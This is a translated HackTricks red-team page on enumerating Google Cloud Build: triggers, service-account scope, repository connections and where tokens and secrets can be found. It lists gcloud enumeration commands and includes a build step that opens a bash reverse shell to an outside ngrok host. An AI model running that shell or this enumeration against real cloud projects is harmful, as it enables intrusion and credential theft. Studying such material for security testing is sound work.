GCP - Cloud Build Enum

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Google Cloud Build je upravljana CI/CD platforma koja automatizuje procese izgradnje softvera i puštanja u rad, integrišući se sa repozitorijumima izvornog koda i podržavajući širok spektar programskih jezika. Omogućava programerima da automatski izgrade, testiraju i implementiraju kod pružajući fleksibilnost za prilagođavanje koraka izgradnje i radnih tokova.

Svaki Cloud Build okidač je povezan sa Cloud repozitorijumom ili direktno povezan sa spoljnim repozitorijumom (Github, Bitbucket i Gitlab).

Nisam mogao da vidim način da ukradem Github/Bitbucket token odavde ili iz Cloud repozitorijuma jer kada se repozitorijum preuzme, pristupa se preko https://source.cloud.google.com/ URL-a i Github nije pristupačan klijentu.

Događaji

Cloud Build može biti okidač ako:

  • Pritisak na granu: Navedite granu

  • Pritisak novog taga: Navedite tag

  • Pull zahtev: Navedite granu koja prima PR

  • Ručno pozivanje

  • Pub/Sub poruka: Navedite temu

  • Webhook događaj: Izložiće HTTPS URL i zahtev mora biti autentifikovan sa tajnom

Izvršenje

Postoje 3 opcije:

  • Yaml/json specifikacija komandi za izvršenje. Obično: /cloudbuild.yaml

  • Jedna koja se može specificirati "inline" u web konzoli i u CLI

  • Najčešća opcija

  • Relevantna za neautentifikovan pristup

  • Dockerfile za izgradnju

  • Buildpack za izgradnju

Dozvole SA

Servisni nalog ima cloud-platform opseg, tako da može koristiti sve privilegije. Ako nije specificiran SA (kao kada se vrši podnošenje) podrazumevani SA <proj-broj>@cloudbuild.gserviceaccount.com će biti korišćen.

Podrazumevano nisu date nikakve dozvole, ali je prilično lako dati neke:

Odobrenja

Moguće je konfigurisati Cloud Build da zahteva odobrenja za izvršenje izgradnje (podrazumevano onemogućeno).

PR Odobrenja

Kada je okidač PR jer svako može izvršiti PR na javne repozitorijume bilo bi veoma opasno dozvoliti izvršenje okidača sa bilo kojim PR-om. Stoga, podrazumevano, izvršenje će biti automatsko samo za vlasnike i saradnike, i kako bi se izvršio okidač sa PR-ovima drugih korisnika, vlasnik ili saradnik mora komentarisati /gcbrun.

Povezivanja & Repozitorijumi

Povezivanja se mogu kreirati preko:

  • GitHub-a: Prikazaće OAuth prozor zahtevajući dozvole za dobijanje Github tokena koji će biti sačuvan unutar Menadžera tajni.

  • GitHub Enterprise-a: Zatražiće instalaciju GithubApp-a. Autentifikacioni token sa vašeg GitHub Enterprise hosta će biti kreiran i sačuvan u ovom projektu kao tajna Menadžera tajni.

  • GitLab-a / Enterprise-a: Potrebno je pružiti API pristupni token i čitati API pristupni token koji će biti sačuvani u Menadžeru tajni.

Kada se generiše veza, možete je koristiti da povežete repozitorijume kojima Github nalog ima pristup.

Ova opcija je dostupna putem dugmeta:

Imajte na umu da su repozitorijumi povezani ovim metodom dostupni samo u okidačima koji koriste 2. generaciju.

Poveži Repozitorijum

Ovo nije isto kao povezivanje. Ovo omogućava različite načine za pristup Github ili Bitbucket repozitorijumu ali ne generiše objekat povezivanja, već generiše objekat repozitorijuma (prve generacije).

Ova opcija je dostupna putem dugmeta:

Skladištenje

Ponekad će Cloud Build generisati novo skladište za čuvanje datoteka za okidač. To se na primer dešava u primeru koji GCP nudi sa:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Kreiran je skladišni bucket pod nazivom security-devbox_cloudbuild kako bi se čuvala .tgz datoteka sa fajlovima koji će biti korišćeni.

Dobijanje shell-a

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Instalirajte gcloud unutar Cloud Build-a:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeracija

Možete pronaći osetljive informacije u konfiguracijama izgradnje i zapisnicima.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Eskalacija privilegija

GCP - Cloudbuild Privesc

Neautentifikovan pristup

GCP - Cloud Build Unauthenticated Enum

Post eksploatacija

GCP - Cloud Build Post Exploitation
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated